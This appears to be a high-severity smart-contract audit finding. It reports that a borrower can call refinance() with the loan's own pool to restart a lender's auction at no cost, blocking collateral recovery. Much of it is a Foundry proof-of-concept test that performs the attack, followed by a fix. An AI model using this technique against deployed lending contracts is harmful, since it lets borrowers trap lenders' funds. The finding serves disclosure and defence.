20,000 USDC
View results
Submission Details
Severity: high
Valid

Malicious borrower can restart the loan's auction using the `refinance()` function

Summary

Malicious borrower can restart the loan's auction using the refinance() function causing the lender to be unable to receive neither the auction payment or the collateral.

Vulnerability Details

The refinance() function helps to the borrower to transfer his loan to another pool. The borrower needs to specify the new pool who will take the loan.

The problem is that the new pool whoever takes the loan can be the same pool which has the loan, so a malicious borrower can use the same pool the loan has causing that the auction to be restarted.

I created a test where the auction is restarted (auctionStartTime = type(uint256).max) by a malicious borrower. Test steps:

  1. Lender1 creates the pool with initial 1000 token balance. Borrower borrows 100 token debt.

  2. Lender1 kicks off the auction.

  3. The borrower maliciously refinance the loan using the same old poolID from the Lender1.
    The malicious borrower doesn't need to deposit any token amount.

  4. The Lender1 auction is restarted. The malicious borrower can repeat the process
    causing the lender to be unable to get the collateral.

// File: test/Lender.t.sol:LenderTest
// $ forge test --match-test "test_malicious_borrower_restart_auction_via_refinance" -vvv
//
function test_malicious_borrower_restart_auction_via_refinance() public {
// Malicious borrower can restart the loan auction using the refinance() function.
// 1. Lender1 creates the pool with initial 1000 token balance. Borrower borrows 100 token debt.
// 2. Lender1 kicks off the auction.
// 3. The borrower maliciously refinance the loan using the same old poolID from the Lender1.
// The malicious borrower doesn't need to deposit any token amount.
// 4. The Lender1 auction is restarted. The malicious borrower can repeat the process
// causing the lender to be unable to get the collateral.
//
// 1. Lender1 creates the pool with initial 1000 token balance. Borrower borrows 100 token debt.
//
test_borrow();
bytes32 poolIdLender1 = lender.getPoolId(lender1, address(loanToken), address(collateralToken));
(,,,,uint256 poolBalance,,,,) = lender.pools(poolIdLender1);
// assert loan debt and pool balance
assertEq(lender.getLoanDebt(0), 100*10**18);
assertEq(poolBalance, 900 * 10**18);
//
// 2. Lender1 kicks off the auction.
//
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
vm.prank(lender1);
lender.startAuction(loanIds);
(,,,,,,,,uint256 auctionStartTime,) = lender.loans(0);
assertEq(auctionStartTime, block.timestamp);
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
//
// 3. The borrower maliciously refinance the loan using the same old poolID from the Lender1.
// The malicious borrower doesn't need to deposit any token amount.
//
vm.startPrank(borrower);
Refinance memory r = Refinance({
loanId: 0,
poolId: poolIdLender1, //Same oldPoolId
debt: 100 * 10**18,
collateral: 100 * 10**18
});
Refinance[] memory rs = new Refinance[](1);
rs[0] = r;
lender.refinance(rs);
//
// 4. The Lender1 auction is restarted. The malicious borrower can repeat the process
// causing the lender to be unable to get the collateral.
//
(,,,,,,,,auctionStartTime,) = lender.loans(0);
assertEq(auctionStartTime, type(uint256).max); // auction startTime is restarted
// assert loan debt is still the same
(,,,,poolBalance,,,,) = lender.pools(poolIdLender1);
assertEq(lender.getLoanDebt(0), 100*10**18);
}

Impact

The lender who started an auction will not receive neither the auction payment or the loan collateral. The malicious borrower can make the attack at zero cost because as the above test shows, the loan debt is still the same (step 4).

Tools used

Manual review

Recommendations

Add a validation in the refinance() function that the new poolId, who will take the loan, is not the same as the one that has the loan.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.